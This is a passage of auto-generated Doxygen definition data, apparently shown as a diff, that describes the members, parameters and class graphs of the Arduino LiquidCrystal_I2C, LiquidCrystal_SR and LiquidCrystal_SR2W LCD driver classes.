'/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adcc89f14c444ff086f544f33fc18ca4c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +I2CIO +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cio'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1ab70fc18e99a70e3293c4f6ba25c37efa'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rs'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '199'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a882df32eb9ae0e7a1b74f9a8ee4bffe9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rw'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '198'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + cp-fileline = '39'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 14; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 13; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '14'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 16; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 15; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '16'; + relation = public-inheritance; + }; /* node-child */ + node-child = { + child-id = '17'; + relation = usage; + edgelabel = <<_EnD_oF_dEf_TeXt_ +_i2cio +_EnD_oF_dEf_TeXt_; + }; /* node-child */ + }; /* node */ + node = { + node-id = 17; + node-label = 'I2CIO'; + node-link = { + node-link-id = 'class_i2_c_i_o'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r'; + cp-name = 'LiquidCrystal_SR'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1ac3fe0b48f8d4c1c941d82d1333495cfc'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +TWO_WIRE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '108'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD SHIFT REGISTER constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] pin for shiftregister data line. + @param srclock[in] pin for shiftregister clock line. + @param enable[in] optional direct enable pin for the LCD +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a03821351a32db07cb7e42c8c11ce8d47'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '122'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1ad9f3e3f36257984c23fb508973e14535'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a5bfc0dcc1f042bcb59992493a3a7231d'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '134'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + @warning Currently not supported + + @param mode: backlight mode (HIGH|LOW) + @param pol: backlight polarity +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a0f15bf3f5041a91469da5fd75aba5d5e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a2684630ad69618fab065f53eea543df8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'shiftIt'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '161'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1acee96e0ef397441bdde73ca921160476'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '163'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a68bffb6befc28cb716fb0c48b50f65fc'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '169'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a507726b30de4b552b4e32faf9a3aa9e3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '168'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a9984b207beddba9ff299f9356f891065'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '167'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a1e5bf3e5c6ec5b6c41f6949b6e34fd34'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '166'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a12e3ee583d454d5f52223beca91f5bae'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srEnableBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '171'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1adab0eb2bb7392a77375034530bf230eb'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srEnableRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '170'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1ad20f9d3282b047fdbae8e97b07d4fc89'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_two_wire'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '164'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + cp-fileline = '95'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 18; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '19'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 19; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 20; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '21'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 21; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r2_w'; + cp-name = 'LiquidCrystal_SR2W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1af307fdf5c8feb757e965074dcdeb1dd3'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR2W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +POSITIVE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '151'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD 2 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register data line. + @param srclock[in] Arduino pin for shift register clock line. + @param blpol[in] optional backlight polarity (default = POSITIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a65dc6f261c319be8e56f3c1f6a5c877d'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a2158db27287c1564a03e7a1472beb3b6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '177'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a12c14153e7056cb4a98310529bace6a8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '186'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1ae369efcd3fca47a018a034f5f4a1679b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a3b1dfb83ad02274c30fa940a10619737'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a906f803e1ae324b5383fa004093124f4'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blPolarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '199'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a27727d63c1ce0f9aada630814b8f022b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = 